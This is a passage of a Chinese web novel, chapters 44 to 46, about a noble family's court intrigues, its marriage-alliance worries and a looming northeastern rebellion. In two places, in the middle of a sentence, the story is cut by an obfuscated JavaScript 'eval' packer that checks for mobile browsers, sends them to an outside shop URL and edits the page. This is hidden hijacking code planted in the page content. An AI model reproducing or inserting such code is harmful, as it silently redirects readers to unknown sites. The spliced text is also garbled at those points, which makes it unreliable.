师玘迅速观察了一番,忙带着端木澈坐到端木琭身旁,提起方才端木澈学习骑射的事来,虽有些生硬,但到底把端木琭从困境中救了出来。 这边婷欢拉着端木槿道:“好端端的,郡主何必生这么大的火气。不如尝尝这点心果子,都是正当时的。”又将其中几碟稍稍向她推了推,道:“这几种是在京城数一数二的几家点心铺子买的,都是他们研究的新品,不妨尝尝。”心下只盼着端木萌能快些派人来叫他们去用午膳,免得她再在这儿受折磨。 不过端木萌兴许是没有听到女儿的心声,但是棠欢大概是感知到了姐姐的无奈,拉着幼桐蹦蹦跶跶的跑上了高台。后面奶娘紧跟着追上来,止不住朝婷欢等又赔罪又抱怨:“大姑娘恕罪,六姑娘非要来找您,拉着五姑娘就跑,也不许我们抱着,您看看怎么办罢!” 婷欢和景安分别将两个妹妹抱起来坐在膝上,笑道:“无妨,就叫她们两个也跟着我们罢。妈妈们就到下面歇歇罢。” 端木琭和端木澈也看过来,问道:“这就是侯府的五姑娘和六姑娘?” “是。”师言笑嘻嘻蹲在棠欢前面,举着她藕节似的白胖胳膊向端木琭和端木澈招招手,道:“小五小六,跟世子哥哥们打个招呼。” 棠欢从来不怯场,自己把手伸得更高,向端木琭和端木澈问好。端木澈却笑道:“我可不是什么世子,叫我表哥就行。” 端木琭便也顺势不许众人再称他世子,只以表兄弟称呼。棠欢立刻又各叫了一遍“表哥”。景安拍了拍怀中幼桐的肩,也鼓励她打招呼。幼桐到底内向腼腆,但还是小声问了好,只是话一说完便扭头钻进了姐姐怀里。 莞安在一旁笑着向端木琭和端木澈解释:“我们家四妹妹和五妹妹都像四婶,安静温柔,不大喜欢说话,不像小六一样活蹦乱跳的。” 棠欢又伸手向碟子里的糕点,婷欢赶紧拿帕子擦了擦她的手,“手脏不脏啊,就急着要吃点心。” “不是我要吃,我想送给表哥们吃。”不过听了婷欢的话,她小手一转,双手捧起了一个碟子,自己从婷欢身上下来端到端木澈和端木琭跟前,眼睛本就像葡萄般又圆又大,镶在小巧的脸盘上更是圆亮,像星子,像宝石,简直无人能抵抗这双眼睛。 端木琭和端木澈笑着一人拿了一个,又蹲下来与她道谢。棠欢显然很开心,又把碟子认真地放了回去,仍旧叫大姐姐抱着。 正巧这时候,楼下等着侍候的丫鬟和婆子上来告诉端木萌叫他们去用午膳的消息,师婷欢松了口气,道:“快去将二公子和五公子叫回来。”又将棠欢和幼桐交给奶娘,便与景安一道带着众人往望潮阁去。 44. 第 44 章 “反正我不要那个端木槿嫁到咱们家来!”师莞安眉毛都快立起来了,简直恨不得抱着手臂,活像只斗气的小公鸡了。 端木萌无奈笑了笑,又看向婷欢。婷欢叹道:“和宁郡主性子是有些古怪,好的时候像亲姐妹一般亲昵,转瞬又讥笑嘲讽阴阳怪气起来。而且,她待下人的态度也有些......残忍。” “什么郡主,我看她就是个自以为是的戏疯子。我看她怕不是还以为自己是戏台子上的女英雄罢?实际上就是个疯疯癫癫的跳梁小丑。”莞安接着说着,恨不得往地上呸一口。 “莞安!”景安轻声道。 端木萌叹道:“燕王府人口复杂,兴许这孩子是受了谁的影响......不过她也还小,到底是燕王妃唯一一个女儿,又是盼了好些年、好不容易才得的,被娇惯的张狂一点也没什么。” 端木婉倒是神情淡淡的,看向师迟他们问道:“你们呢?” 师迟摆了摆手:“我和五弟一直在马场跑马,什么也不知道。” 端木萌无奈:“早知道你是个玩心大的,昨日我嘱咐你们什么你是一点也不记得。” 师迟支吾着赔笑:“娘,那......安王世子他们也是客呀,我这不是也在好好待客嘛。” 端木婉瞬目看向师玘和师言,师玘遂道:“我只知道高台上的情形,之前的并不清楚,但高台上的确是三姐姐先出言激怒了郡主。不过后来五妹妹和六妹妹来了之后,郡主看六妹妹的眼神有些阴翳,但也许是我多心了。” 棠欢跳出来道:“这我知道,娘亲,姐姐她们在廊中的时候,郡主要惩罚她身边的一个不小心把茶水弄洒的侍女,拿地上的碎瓷片在那个侍女手上亲手划了好长好长的口子,我在旁边好远都看到血往下滴了。” 端木萌心一紧,招手叫棠欢到自己怀中,担心道:“棠儿有没有害怕?” “没有,我不怕,大姐姐带我去庄子里的时候,我还看见过几个小哥杀猪呢,那个血比这个多多了。” “你什么时候去看的杀猪?”婷欢皱眉瞪她,棠欢却做了个鬼脸躲到母亲怀中。 端木萌看向端木婉和张雁,忍不住叹道:“和宁这孩子......” “岂止!”莞安在旁边道:“小六应该是离得远不晓得,那茶杯压根就不是那个侍女碰倒的,分明是郡主自己不小心,袖子掠过那茶杯时将茶杯带倒的,她不分青红皂白就问罪那个侍女,分明就是精神不正常!” 端木婉看向景安,景安眉目间带着无奈,点头道:“三妹妹说的都是真的。” “若是这样,还是进宫与皇后娘娘说明,将与燕王府这桩婚事回绝了罢,燕王夫妇自己愿意养这么个女儿在家里,咱们没必要请这么个祖宗进门。”端木婉道。 “只是与燕王和齐王联姻,并不是容琯的主意,而是陛下说与容琯的。我只怕陛下那边不好交代,若是娶和宁郡主过门,好歹还是在咱们自家,可若是这桩婚事不成,陛下转头要我们将女儿嫁到燕王府去,那还不是进了狼窝!” 端木婉长叹一声,细长的眼角眉梢都不住地向下撇去,想要说什么却又止住话头,起身道:“太夫人昨日托我在大嫂留下来的书里面找一篇有容琇批注过的文章,我还没去找,先走一步。你们商议出什么法子再叫景儿她们告诉我罢。”说着便转身走了。 张雁看着愁眉不展的端木萌,便开口道:“不如先将和宁郡主的事放一放,先问问齐王府家的小郡王呢?” “哦,对。”端木萌来了精神,一边接过来绮红刚端过来的晾好的槐花蜜绿豆羹大吃了两口,一边用眼神看向几个姑娘询问。 婷欢和景安都摇了摇头,莞安叹道:“我光顾着盯着端木槿那丫头了,压根没注意。” 幼芷也摇头道:“我觉得他有点幼稚......” 张雁瞪大了眼睛看着女儿:“什么叫幼稚?那你希望未来的夫君是什么样子啊。” “沉稳的,严肃的,像大哥那样的。” 棠欢却道:“我觉得齐王家那个表哥挺好的啊,他笑起来很好看,吃了我的糕还跟我说谢谢。” 师迟笑道:“小六,说谢谢的又不止他一个,安王世子没跟你道谢吗?” “他俩不一样啊,安王世子闷闷的,长得也不好看。” “好了好了,棠儿才多大。不过澈儿那孩子倒的确是个美少年,像齐王妃,性格也不错。虽然比不上子持当年,但在芜郡那边肯定是数一数二了。” 张雁有些无语,道:“他人是好了,可咱家的姑娘们也没一个看上了的啊。” “小六看上了啊。”师迟笑道。 “滚滚滚,你今日那个疯样子别当我不晓得,我还没找你算账呢。”端木萌把帕子顺手朝师迟脸上扔去,又大吃了两口绿豆羹,起身道:“这绿豆羹好吃,叫厨房多做些,一人一碗。联姻这个事儿明日再说罢,大不了就让陛下指婚就是了,若是当真与燕王联姻,之后该如何做,我们再徐徐图之。” “对呗,咱们师家是什么样的人家,虽然不姓‘端木’,却也不是任他们拿捏的。”师迟道。 “师迟!胡说什么!”端木萌陡然竖眉,看向长子的眼中迸发出冷意。 师迟缩了缩脖子,却仍盯着母亲的眼睛,道:“娘......我又没说错什么......” 莞安在旁边附和道:“是呀三婶,二哥说的也没什么不对罢?这是在咱们自己家,又没有外人——” 景安瞪着莞安,抬手利落地掐了一下她的手,莞安便忙止住了话,觑着端木萌和景安的脸色往后缩了缩。一时间众人都被端木萌的脸色吓住,不敢有动作言语。师言本来也张着嘴想要附和,一直盯着说话的三姐,却被二姐的眼神吓住,便也闭上了嘴,低头回避母亲的神色。 夏日燥热,入了夜也不能缓解,更有蚊虫的声音似有似无萦绕在耳畔,吵得人心烦意乱。 张雁走到端木萌身旁挽住她的手,轻声劝道:“孩子们年纪还轻,也是无心之言......何况,莞姐儿说的也没错,这是在咱们自家,在外头的时候,哥儿姐儿们都是谨言慎行的,从没给咱们和皇后娘娘惹过麻烦,不是么。” 端木萌闭了闭眼,一口气哽在心头,自己背过身去掩饰住自己开始皲裂的脸色,试图压抑内心突然涌上的慌乱。张雁眼神恳切地在一旁盯着她,于是她终于还是回头,匆匆道:“这次便罢了,天也晚了,都回去早些睡罢。” 众人这才如释重负,各去做各自的事。张雁瞧着端木萌似有些不对劲,想送一送她,却被她回绝,只自己和行湘快速而凌乱地往回走。绮红绮香等人带着几个孩子在身后,想要追却又不大敢上前。 “‘虽然不姓端木’?”端木婉听了师玘的话,冷哼一声道,“你二哥这是忘了他母亲姓什么了。”她在萧晨的旧书架子上仔细翻找整理着,道:“还是你三叔权势滔天,外人大多只提‘太傅’和‘阳曲侯’,而时常隐去‘云和长公主’不提。若是公主驸马是个普通人,连这宅邸都该换上公主的封号做牌匾,且看他还会不会忘了自己母亲姓什么。” “三婶突然生气的原因就是这个吗?”师玘手上不停帮母亲整理着翻找过的卷轴,问道。 “差不多罢。她也不是生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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师玘从旁边替她拿来矮梯,她自己利落地爬了上去,坐靠在梯子上,取下靠上面的卷轴,用帕子拂了拂灰,继续翻看寻找起来。 “这么长时间她做阳曲侯夫人做的也很出色,换言之,假使当今人们更看重‘公主’,也不会因为‘公主’的身份抹杀了她作为阳曲侯府主持中馈的侯夫人的功绩。这两个身份没有哪个更重要或者更值得坚守,哪个做好了都是一种成功,好几十年来,我们这些人差不多都是这样想的,所以也无所谓这些细节。但是这不意味着她的孩子可以忘记自己身上还留着来自母亲的那一半血。迟哥儿的说法,相当于完全将她当作了师家的附庸、师家的一份子。” “可是......三婶不就是师家的‘一份子’吗?” 端木婉笑了笑,“这算是文字上的纰漏罢,或者说,是文字的魅力。” 师玘沉吟了一会儿,道:“意思是,三婶是师家的一份子,但不应该是完全附庸于师家,没有自己的身世、血脉的人,是吗?” “差不多吧。”端木婉葱白瘦削的手指蒙上一层灰,翻着翻着,突然顿住,笑了笑,将手中那卷合上递给儿子,自己从梯子上慢慢爬下来,道:“找到了,你去跑一趟,交给太夫人罢。” “您是要去三婶那里吗?” “我在这儿整理整理,然后回去。” “那三婶那里......” “不必担心。明日她要进宫与你六姑说今日的事,想必也会说到这一回。若是她从宫里回来还没好,我再过去找她也不迟。”又拍了拍他的肩道:“你也不要磨蹭,尽快回去,早睡早起。” “儿子知道了。” 45. 第 45 章 坤宁殿最近熏着加了萃取的茶叶汁水制成的新香,加上满屋子的冰块降温,显得格外清凉。师冉月又吩咐白日里都将门窗大开,不放过一点儿穿堂风,又叫人专门负责定时在庭前洒水降温,于是俞安乐、蒋纹等人也喜欢到她这儿来“纳凉”。 “昨日云和长公主殿下进宫,听说是有事与娘娘相谈,我们便也不敢来打扰。”俞安乐接过木莲端过来的冰晶凉粉,双眼像是日出一样骤然亮了起来,忍不住道:“娘娘宫里居然还有凉粉吃!从前妾随父亲去渝城任上时,夏日里恨不得每天都要吃两碗。” “前些日子新来了个渝城的厨子做的这个,的确最适合消暑纳凉。本宫又叫他们配上酥酪和放凉的麻薯,还有熬的各色果酱掺在一起,才是绝妙。” 吴秐笑道:“看来今日我们来娘娘这里是有口福了,那没口福的就叫她后悔去罢。” 师冉月心知她说的是谁,只笑而不语。 蒋纹笑道:“陛下也青睐娘娘宫里的菜,先前有一次陛下在妾阁中用晚膳,却没什么胃口,恰好妾那里还有一些娘娘赐的小菜和果脯,陛下吃了才觉得开胃,只可惜这样一来妾就没剩多少可吃了。” 师冉月笑开:“你这丫头,倒只惦记着本宫这点儿吃的,竟还与陛下争食。” “妾不敢。只是不怕娘娘取笑,若是没有这些规矩,妾只盼住到娘娘宫里来,日日都能吃到坤宁殿小厨房的饭。” “是啊是啊。”俞安乐点点头,像只小鹌鹑,道:“这宫里无趣得很,吃得好就是妾现在最大的乐趣了。”又道:“不过蒋妹妹这么一说,我才想起来,好像有些日子没见着陛下了。” 师冉月笑得摇头,平复了一会儿,才慢慢道:“陛下近来前朝事忙,不耽于后宫美色,勤勉持政,这是明君所为。” 吴秐却叹道:“娘娘贤德,我等也追随娘娘顺从恭谨,可是这宫里却还是有人不守规矩,恐怕有碍陛下和娘娘贤名。” 师冉月渐渐收了笑意,微微转头看向吴秐,脖颈像是盛开的莲花花茎。“吴才人,莫要妄言。” 吴秐却起身行礼,道:“娘娘,妾不曾妄言。这些日子那江才人日日傍晚都去清和殿,夜半三更才出来,若是叫前朝的大臣们知道了......” 师冉月挑眉,低头用柄上雕成双飞燕纹样的小巧银匙,一下一下拨弄着莹白如玉的瓷碗中剩下的一颗梅子。银匙轻轻碰撞着碗壁,哼着清脆的声响。 俞安乐道:“吴姐姐,你怎么知道江才人日日到清和殿去?我们的住处与江才人分属两边,平日里鲜少会碰面啊。” “我......”吴秐顿时语塞,眼神在俞安乐与师冉月之间来回瞟着,慌乱不已,只得低首敛眉,不作一语,却还是躬身向师冉月。 师冉月轻轻放下碗,双手搭在身前,眼睛像殿内冰坛里升起的凉雾,悠悠问道:“吴才人,这宫中可有规定,妃嫔不得自行去清和殿?” “没,没有。” “那陛下可曾不许她入内?” “未曾......” 她挑了挑眉,微微倾身向前,道:“妃嫔入宫,侍奉君王本就是分内之事,既如此,江才人有何错?前朝大臣知晓此事又会如何?”不待吴秐惶恐着做出回应,师冉月坐直了身子,立眉冷声道:“宫规森严,宫中无一人敢多嘴议论,私自传递后宫消息到前朝更是大罪,前朝大臣又该如何得知后宫妃嫔谁去了清和殿,又待了多久,难道是从吴御史那里么?” 吴秐登时下跪,仰头疾声道:“娘娘,妾不敢与宫外私相授受,妾的兄长也不知道后宫的事,今日是妾多嘴胡言乱语,请娘娘责罚。” 俞安乐和蒋纹也连忙起了身,看着吴秐狼狈,想要求情,却在看到师冉月岿然端坐在位子上,似乎没有看见吴秐的模样,便也将话咽了下去。 师冉月端起案上的放着的放了冰的八宝擂茶,这会儿冰化了一半,正合她口味。她吃了两口,似乎眼前根本没有吴秐这个人。吴秐得不到回应,更不敢一直抬头注视着师冉月,只能低下头去,控制不住地发抖。 殿内登时冷肃,似乎外面的湿热停滞的空气也被拦在了殿外。除却师冉月一人在上面坐着,吴秐与她的宫女在下面跪着,其余人皆肃立在一旁,不敢发出任何声响。 “罢了。”轻飘飘的两个字,像一根尾羽落在地上,有些分量,却没什么声响。 吴秐颤颤巍巍地试探着抬头,原先梳得光滑的发髻因为方才的动作有些松动,几绺头发松散下来,发丝凌乱糊在脸上。 “吴御史年轻有为,沉稳持重,是国之栋梁;探花郎也高山景行,在外为官明察秋毫,公正严谨,常为陛下夸赞。”她顿了顿,向音儿道:“带吴才人去偏殿稍事休整。” “谢娘娘。”吴秐低敛着眉,半抬眼间,瞥见师冉月脸上似乎挂着一丝若有若无的笑意,倏忽而逝。她连忙收回视线,不敢再多看,迅速起身跟着音儿去了偏殿。 听着吴秐的脚步声渐渐远去,俞安乐才小声道:“娘娘,吴姐姐......” “吴才人一时出口不慎,本是无心之举,本宫已教导过她,此事便罢了,不必再提。陛下近日国事繁忙,不常来后宫,你们若有心,也可如江才人一般主动去侍奉陛下,为陛下分忧,但切莫把握好分寸,莫要忘了国法宫规,做出什么不该做的事。” “妾谨听娘娘教诲。”俞安乐和蒋纹齐声道。 “都坐下吧。” 二人理了理衣裙重新坐下,木莲和春桃又捧上新茶来。蒋纹小心地侧眼,借着侧梳的发髻上垂下来的碎金坠珠的步摇稍作掩饰,觑着师冉月的神色,语气尽量稍显轻松,试探着开口道:“娘娘,听说您命人将御花园西侧原先的会仙楼收拾出来了,可是要重开戏台?” 会仙楼是太祖皇帝为了孝敬母亲特意修建,下旨遍请各地有名的戏班入宫贺寿,甚至不限于戏曲歌赋、弹词评唱,还有说书、双簧、皮影,皆不局限,只为讨母亲欢喜。后来太宗皇帝设有司,挑选当中德才兼备之人编入宫籍,养在宫中,平日与司乐局一同排练,待宫宴或庆典之时献艺。传至穆宗皇帝的叔父中宗皇帝时,因为中宗皇帝过于沉溺声色,与宫中的优伶戏子一同厮混排练唱曲,甚至自己装扮起来上台唱戏,终日昏沉,不务朝政,也没有留下子嗣,待穆宗皇帝入嗣继位后便将宫中的戏子全部赶了出去,命人将会仙楼落了锁,不再启用,及至如今已经废弃了几十个年头。 少许清风掀起,冷雾稍稍消散。 “本宫是有此意。” “若是真能重启戏台,那可真是一桩好事,连赵姐姐听说了都有点高兴呢。” 师冉月勾唇轻笑:“你们只是觉得宫中日子无趣,若能听戏,便可解闷凑趣。然而那会仙楼自中宗皇帝之后本就是奢靡荒淫的象征,只怕不说‘戏楼’,只提‘会仙’便要惹来诸多非议。外面百姓衣不蔽体、食不果腹,就算是京城,城墙底下也每天都有新的尸首。饥荒、兵乱,饿殍遍地,后妃身在宫中,享百姓衣食供奉,却只知自己奢侈享乐,并非好事。本宫命人打扫会仙楼,也只是不想宫中有这么一处地方荒废在那里,至于日后用作何用,再细细打算。” 蒋纹道:“娘娘教导的是,妾等考虑不周,实在惭愧。” “不说此事了。天色也要晚了,本宫也乏了,今日便到这儿罢。木莲,你着人将做好的麻薯和冰镇的酒酿圆子给俞才人和蒋才人带回阁去。” “谢过娘娘。” 俞、蒋二人方走,端木玦便蹦跳着回来,口中喊着“娘亲”跑到师冉月身前:“娘亲,你看,今日沈先生教我作诗了,儿臣写了昨晚娘亲带我看的月亮。” 师冉月拿起来认真念道:“昨夜檐上月,今时世间人。华光长相照,期许无离分。” “怎样怎样?” “好——写的极好。沈先生怎么说?” “沈先生说儿臣才刚学写诗,能写成这样,极有天赋!” “是嘛!玦儿可真厉害。等改日见到你爹爹,把这诗也拿给他瞧瞧,好不好?” “好!”端木玦认认真真地将自己的诗作折叠整齐,夹在书中保存好,交给合月好好保管,又问道:“今天晚上我们吃什么呀?” “就知道你还是一门心思惦记着吃。”师冉月笑道,“你先乖乖跟着合月姑姑去更衣,然后我们就用晚膳好不好?” “好!” 端木玦又一蹦一跳地被合月牵着回了偏殿。师冉月这才问音儿道:“吴才人后来如何了?” “她在偏殿重新梳了头发,便请我向娘娘告罪请辞。娘娘,吴御史与咱们侯爷素来交好,若是今日吴才人的事叫他知道了,会不会对因此......” “不会,吴称是个拎得清的人。我今日若是放任吴秐继续胡言乱语,才是真正害了吴家。她想争宠,心急,这本没什么,可她不自己去讨君主喜爱,反而嫉妒旁人,在我这儿做无用功、嚼舌根,还当着那么多人的面儿,实在愚蠢。” “那... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226160|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...江才人的事,娘娘可要做些什么?” “不必。她又没有做错什么。这宫里能有人主动些也是好事,不然一个个死气沉沉的也没什么意思。至于她如何获宠,又受宠到什么地步,那都是陛下的事。” 倏的一声雷,旋即便跟着下起了大雨,雨声迅速覆压了旁的杂音,整个世界都跟着喧嚣地安静下来。潮湿的凉气随着雨水杂在青石板上漫延开来,师冉月停下了手中摇着的扇子,望着雨水倾盆般自屋檐滑落,恰是一帘雨幕,幕后有慌忙躲雨的几个小宫女和小内侍,还有几棵被雨压得一颤一颤地弯腰的树。 “这雨再下两场,也就快秋天了。” 端木萌那日自宫中回府后,面对婷欢等小辈追问都含糊其辞,眉间更是有些不耐,一二句便打发了,只先奔着岳诗韫的住处去。 “小六的意思是,陛下大概也就是随口一提,没有太认真,至少不是立时要定下来的事,所以我们也不必太着急。我想着倘若真联姻,对咱们家算不上锦上添花,只别是和承祐年间一样的光景就好。若是郡主真的嫁进来也没什么大不了,也不止她一个儿媳,别在外头惹是生非就是了。” 岳诗韫手中拿着小铜铲,专心致志地给兰花新培育出的幼株移植栽放,闻言并不抬头,只略一颔首,算作应答。 端木萌却愁道:“只是这桩事给我提了醒,也是时候依次为他们考虑婚事了。尤其焕哥儿,不论这次科举结果如何,都要先把亲事定下来,婷儿和景儿也一年比一年大了,都到了可以议亲的岁数。只是若是假定必要有人与燕王和齐王联姻,这事便不好敲定了。” “燕王和齐王家那两个孩子年岁都还小,轮不上头三个年长的。”岳诗韫总算弄完了手里的活计,将栽好幼苗的花盆交给廊下等着的花房的小厮,自己拿粗麻帕子沾了水,仔细擦拭着铜铲,道,“焕哥儿的媳妇比对着唐家与萧家即可,家资不必太匹配,要能担起宗妇大任才是主要的。你们斟酌着选,不必在乎他们自己的意见。” 端木萌闻言,犹豫道:“到底是他们自己成亲,是来日要过一辈子的......” 岳诗韫眼都没抬,亦没说话,只继续收着花具。 端木萌败下阵来,叹道:“好罢,我晓得了。”说着便也起身,不再多叨扰,然而甫一出门,却看见张雁等在外面,便牵起笑问候道:“弟妹怎么来了。” “......我来给太夫人送些糕点。” “哦,是了,瞧我这脑子。”端木萌笑道,“太夫人刚侍弄完花草,你也快进去罢。” 说来她倒的确总是未将岳诗韫当作师家的长辈,毕竟她的婆母另有其人,而又因着姨甥这层关系,便常常把她只当自己的姨母来看待,倒忘了她还是师骁和师吟月的生母了。 张雁却未挪步,踌躇着问道:“三嫂,你才从宫中回来......皇后娘娘对赐婚的事,怎么说?” “哦,那件事不必挂心。”端木萌想了想,略微压低了声音,又道:“你若是不想让五哥儿娶郡主,便趁早给他定一门亲。” 张雁却道:“可惜我自小长在南边,这二年也不常在外面应酬,对京中这些人家也不大了解。若是可以,还得烦请你帮我定夺了。” “这倒没什么。左右我给四哥儿相看时,你一并从中选一选就好了。”师言与师琦年岁相仿,身量也相似,自小做衣裳都是一样的尺寸一人一套,如今议亲也可捉一对儿了。 张雁柔柔地笑了笑,虚抚着端木萌手道:“那就多谢嫂子了。” 端木萌笑着看她进了岁苍斋,这才回身往留容轩去。路过水沁池,看见景安、莞安还有幼芷三个坐在廊桥上拿柳枝逗鱼,走过去笑道:“怎么在这儿坐着?” 三个姑娘放下柳枝起身与端木萌问安,回道:“这儿凉快,也安静。” “婷欢呢?” “大姐姐在大哥书房呢。好似是有一位大哥的同窗来拜访,不知怎么碰上了大姐姐,要切磋学问呢。”莞安道。 景安补充道:“大姐姐是扮的男装。” 端木萌无奈笑叹:“这孩子——罢了,你们好好玩,当心别掉下去就是了,也别只顾着挑逗那些鱼,喂点食给它们,怪可怜的。”说着也就走了。 莞安愣了愣,看着池子里那些胖的像猪的鱼,道:“三婶婶刚刚是说这些鱼可怜么?” 景安笑道:“三婶婶怕是都没仔细看这些鱼,心思都在别处呢。不过说鱼可怜这种话,倒有些像姑姑说的呢。” 46. 第 46 章 端木萌这厢回了留容轩,恰看到师霖只穿了件蚕丝的褂子,略微敞着怀,趟在院中的瓜架子下的藤椅上纳凉。一旁的小藤桌上还摆着一壶桂花酒酿和几块点心,好不惬意。 她走过去,将扇子往师霖脸上一扇,道:“怎么在这儿躲闲?” “焕哥儿的几个同窗过来拜访切磋学问,我在前面,他们拘束着放不开。”其实难得的休沐,就算没什么理由,师霖也大多回留容轩来躺着,并不常在前院的书房里待。 “景姐儿她们说婷儿也扮了男装,与焕哥儿的同窗切磋学问,你可瞧见了没有?” 师霖蓦地坐直,道:“我倒没碰上,这不是——” “哎,倒也算不上胡闹。”端木萌走到他身旁坐下,师霖向一旁挪了挪给她让出位置,从善如流地帮她捏肩。“左右该为她选个夫家了,来找焕哥儿的想必都有可能是新科举子,婷儿若真看中了哪一个岂不正好?” 师霖愣了愣,问道:“倘若她看中的人出身寒门呢?” “那也无妨,否则岂不全都是这些个人你嫁我我娶你的。” 这些名门望族的势力仿佛千年古树的根系一般盘根错节,却也不能只是这些根系枝条间自己相互缠绕,时不时也要吸取一些新的养料,才能生生不息。 端木萌接着道:“何况又不是任婷儿随意选了谁就是谁了,总归还是要我们来把关的。彼时若是值得栽培,哪怕出身再低微也没什么。若是不堪重用,无法给我们带来回报,那就也没有什么必要了。婷儿自己是个懂事可靠的,那等人她自己必然也不会青睐,不需要我们太多操心。” “我说你这些日子总像是有心事,原来就是在盘算这些。” “自然。”端木萌微微昂着头,“若是我们自己有打算,大可在陛下赐婚前将儿女的婚配都定下,陛下也没有强拆人姻缘的道理。” 师霖却叹道:“陛下已经借皇后娘娘的口向我们提了与齐王、燕王联姻之事,我们就不能当作不知。” “我也晓得。”端木萌点头,却又跳跃道:“不过你怎么晓得我这些日子有心事?这几日你都忙得不见影儿了。” “哦,原来殿下是想我了。” 端木萌扭头道:“我是怕你不知道死在哪儿。”又道:“是前朝有什么要紧事?” “东北恐要生乱。” 端木萌睁大了眼睛,道:“前些日子子锋回来说的不是他们内乱,老藩王向我朝请求派兵镇压吗?” “未及商议出来是否派兵,我们与在东北的密探的消息就已经断了,又有风言风语说老藩王已经被刺杀身亡,于是陛下便下令暂且按兵不动。燕王一家紧急回涯州、陛下也不再着急联姻一事也是这个原因。虽然陛下不放心燕王手握兵权,但事出紧急,只有燕王最了解东北边关的状况,也只能如此。” “部族内部自己出了矛盾,只待他们自己内斗完了,推出一位新的首领,我们再派人去授印册封不就是了。” “东北的女真部势力庞大,燕山往北,出了山海关,一直到极寒之地,皆在他们的掌控之下,又是能征善战之族,比起西南部族叛乱自是不可同日而语,必须要谨慎小心。我们的密探又没有消息,大概率已经遇害。老藩王隆世昌虽效忠我朝,然而女真部其他人常有不臣之意,按照失联前密探送来的消息,此次叛乱极有可能是隆世昌的二儿子纳真。从前隆世昌在世时他也常率部下扰边,屡次挑衅,若他当真杀了隆世昌被推举为新王,边关终有一战。如此,自然要趁其羽翼尚未丰满,尽早出手。” “你的意思是......也许不日我们就要与其开战?” “是。”师霖眸色暗沉,一脸凝重,完全没有了休沐的闲适之意。端木萌闻言更是忧心忡忡,道:“若是如此......朝中会派谁领兵平叛?” 一半虎符必定要交到燕王手中,并且燕王世代镇守北境,名下本就比旁的藩王多领着几千兵卒,以备不时之需。而为了制衡,另一半必要由端木玄的亲信持有,然而端木玄自登基后,基本没有特别提拔过原先在慕州就追随自己的武将,只是平调到朝中各个重要但又不显贵的关口,更多人以缙云长公主驸马安西将军高司和乐安长公主驸马颍川守备李臣义为代表的,都驻守在边关和地方,轻易不会调动。 如今在京武将之首,是已经六十七岁高龄的左卫上将军林守贯和殿前都指挥使郭率。郭率出身武将世家,然而本身没什么功绩,也没什么错处,人老成稳重。端木玄初登基时为了拉拢京中武将,便将原先由史自兴亲信担任的殿前都指挥使一职暂且交由郭率。比起他,殿前营中最有威望的是五年前才从北关调回京中战功显赫的副都指挥使成巳将军。 “武宗时期较有能力的武将后来大多在诛杀史党时被牵连,有几个被满门抄斩的,其余的稍好些也是被贬官流放。不到万不得已的时候陛下也不会重新启用这些人。如今兵部尚书的位置暂时空缺,兵部侍郎赵江寒是个文人,谋略尚可,却不能骑马带兵。” “京中大小武官不说上万也有数千,竟都是吃白饭的么?” “那些大多数都是荫官上来的,不说是‘窝囊废’都已经算好的了——若我说,这些武将十有八九,上阵带兵还不如陛下。”端木玄虽是个半路出家的,但大概是这方面的确有些天赋,加上平叛西南和镇守西北以及围城逼宫时的经验,的确可叫人信服。 “那有什么用,陛下总不能亲征罢?一个女真族的叛乱而已,是真是假都还不知道。若是那个纳......纳什么——” “纳真。” “啊,纳真。说不定纳真没有反叛之意,反而与我朝主动交好呢。” 师霖叹了口气,看了端木萌一会儿,却只摇了摇头道:“但愿罢。” 端木萌方才还有的一点忧心便也慢慢平复。她自小少有忧心之事,出降后父母兄嫂一一亡故、外祖家遭难,短短几年经历众多亲友辞世,有些早有准备,有些却是厄运当头措不及防。早些时候她也常惊惧,白日里装的满不在乎,夜半却从噩梦中惊醒,而后便再也不得安眠,辗转至天明,又披起平和的皮到人前,日日如此反复被折磨得不成样子。后来不知是她自己想通了还是被磨得迟钝了,她便不再为未曾降临的雨提前备伞,更不会望着天上那一点点云丝担忧。 好比联姻一事,师冉月告知她了,她便准备,然而最后到底是谁来联姻,再而后又会如何,她最多费一点心神匆匆想起,便马上又匆匆放下,不再理会。 师霖撇过脸,隐匿好心中翻江倒海的思绪,详装困倦倒回藤椅上闭目养神,勾了勾端木萌的手,道:“娘子,为夫想喝你熬的菌菇汤。” “不要。今儿我已经嘱咐厨房做了山药汤了,昨天四哥儿就吵着要喝呢。再说我又没有小六那样的手艺,你若真想喝,现在去跟厨房的嬷嬷说也还来得及。”端木萌任由他玩捏了一会儿自己的手指,才抽出手起身,自己先回了房中,临走又想起什么,顿了顿道:“你也别光在这儿躺着了,过会儿去前面看看,差不多就叫婷儿回来罢。” 师霖“扑哧”笑出声,在端木萌的瞪眼警告下忙不迭支起身连连答应了,这才罢休。 江映自进宫后便不声不响,也几乎不与旁人见面闲聊,却像一只蛰伏的灵巧的猫,不声不息却出手稳准,一下子便成了新入宫的这一批才人中恩宠最盛的,除了皇后和徐昭仪便无人能及。然而自她获宠之后,便不似从前那般收敛,行事也愈发张扬肆意起来,虽未曾在师冉月等人面前越位,但在吴秐等人眼里却是不一般的“妄为”了。 寻常宫人都被师冉月管束,不敢妄加议论,吴秐自上次之后也不敢再在师冉月面前提及,其余有几个似是想说些什么,却也欲言又止。 “她聪慧大胆,不似旁人畏畏缩缩,见到陛下就像老鼠见到猫似的,自然能吸引陛下。”林绵道,“作为妃嫔,做到这些也便足够了。” 师冉月摇摇头道:“只不过是陛下近日事忙,除了上朝几乎闷在清和殿了,而后宫只有她一人往清和殿去而已。咱们这位陛下喜欢的是服从。” 